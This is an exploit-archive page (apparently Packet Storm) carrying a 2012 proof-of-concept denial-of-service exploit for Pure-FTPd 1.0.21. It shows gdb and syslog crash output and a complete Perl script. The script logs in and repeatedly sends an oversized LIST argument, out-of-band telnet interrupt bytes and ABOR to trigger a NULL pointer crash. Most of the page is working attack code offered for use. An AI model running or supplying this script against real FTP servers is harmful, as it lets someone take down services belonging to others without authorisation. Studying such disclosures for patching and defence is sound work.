exploit the possibilities

Pure-FTPd 1.0.21 Denial Of Service

Pure-FTPd 1.0.21 Denial Of Service
Posted Aug 14, 2012
Authored by Kingcope

Pure-FTPd version 1.0.21 crash proof of concept exploit that leverages a NULL pointer dereference.

tags | exploit, proof of concept
MD5 | 92e10f766d544df6057bc6a709f00f5e

Pure-FTPd 1.0.21 Denial Of Service

Change Mirror Download
#Pure-FTPd Crash PoC (Null Pointer Dereference), tested with pure-ftpd v1.0.21 (centos 6.2, ubuntu 8.04)
#latest version (v1.0.36) is not affected !!
#discovered by Kingcope
#
#root@ubuntu:~# grep seg /var/log/syslog
#Aug 13 13:55:28 ubuntu kernel: [ 226.791747] pure-ftpd[4825]: segfault at 00000000 eip 0804cd3b esp bfb81db0 error 4
#Aug 13 13:56:21 ubuntu kernel: [ 280.295826] pure-ftpd[4836]: segfault at 00000000 eip 0804cd3b esp bfb81db0 error 4
#Program received signal SIGSEGV, Segmentation fault.
#[Switching to process 5358]
#doreply () at ftpd.c:698
#698 nextentry = scannedentry->next;
#(gdb) i r
#eax 0x0 0
#ecx 0xbf967540 -1080658624
#edx 0x0 0
#ebx 0x0 0
#esp 0xbf967540 0xbf967540
#ebp 0xbf967588 0xbf967588
#esi 0x0 0
#edi 0xbf96756c -1080658580
#eip 0x804b090 0x804b090 <doreply+256>
#eflags 0x10217 [ CF PF AF IF RF ]
#cs 0x73 115
#ss 0x7b 123
#ds 0x7b 123
#es 0x7b 123
#fs 0x0 0
#gs 0x33 51
#(gdb) x/10i $eip
#=> 0x804b090 <doreply+256>: mov (%eax),%ebx
# 0x804b092 <doreply+258>: mov %eax,(%esp)
# 0x804b095 <doreply+261>: call 0x8049928 <free@plt>
# 0x804b09a <doreply+266>: test %ebx,%ebx
# 0x804b09c <doreply+268>: mov %ebx,%eax
# 0x804b09e <doreply+270>: jne 0x804b090 <doreply+256>
# 0x804b0a0 <doreply+272>: movl $0x0,0x805d040
# 0x804b0aa <doreply+282>: movl $0x0,0x805d03c
# 0x804b0b4 <doreply+292>: add $0x3c,%esp
# 0x804b0b7 <doreply+295>: pop %ebx
#(gdb)

use IO::Socket;

$host = $ARGV[0];
$username = $ARGV[1];
$password = $ARGV[2];
$locip = $ARGV[3];
$locip =~ s/\./,/gi;

if (($host eq "") or ($username eq "") or ($password eq "") or ($locip eq "")) {
print "Usage: POC.pl <hostname> <username> <password> <localip>\n";
exit;
}

if (fork()) {
my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
PeerPort => 21,
Proto => 'tcp');
while(<$sock>) {
$p = $_;
print $p;
if ($p =~ /220\s/) {
last;
}

}
print $sock "USER $ARGV[1]\r\n";
$p = <$sock>;
print $p;
print $sock "PASS $ARGV[2]\r\n";
$p = <$sock>;
print $p;
for ($k=0;$k<100;$k++) {
print $k."\n";
print $sock "PORT $locip,146,15\r\n";
$p = <$sock>;
print $p;
$a = "A" x 2560;
print $sock "LIST $a\r\n";
select(undef,undef,undef,k*0.001); # TWEAK THIS VALUE, USED A HOST TO VM CONNECTION WHEN TESTING
send $sock, "!",MSG_OOB;
print $sock "\377";
print $sock "\364";
print $sock "\377";
print $sock "\362";
print $sock "ABOR\r\n";
$p = <$sock>;
print $p;
print $sock "PWD\r\n";
$p = <$sock>;
print $p;
}
} else {
my $servsock = IO::Socket::INET->new(LocalAddr => "0.0.0.0", LocalPort => 37391, Proto => 'tcp', Listen => 1000);
die "Could not create socket: $!\n" unless $servsock;
while(my $new_sock = $servsock->accept()) {
while(<$new_sock>) {
print $_;
}
}
}

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

May 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    16 Files
  • 2
    May 2nd
    8 Files
  • 3
    May 3rd
    8 Files
  • 4
    May 4th
    2 Files
  • 5
    May 5th
    1 Files
  • 6
    May 6th
    15 Files
  • 7
    May 7th
    22 Files
  • 8
    May 8th
    16 Files
  • 9
    May 9th
    17 Files
  • 10
    May 10th
    16 Files
  • 11
    May 11th
    3 Files
  • 12
    May 12th
    4 Files
  • 13
    May 13th
    25 Files
  • 14
    May 14th
    24 Files
  • 15
    May 15th
    78 Files
  • 16
    May 16th
    16 Files
  • 17
    May 17th
    0 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close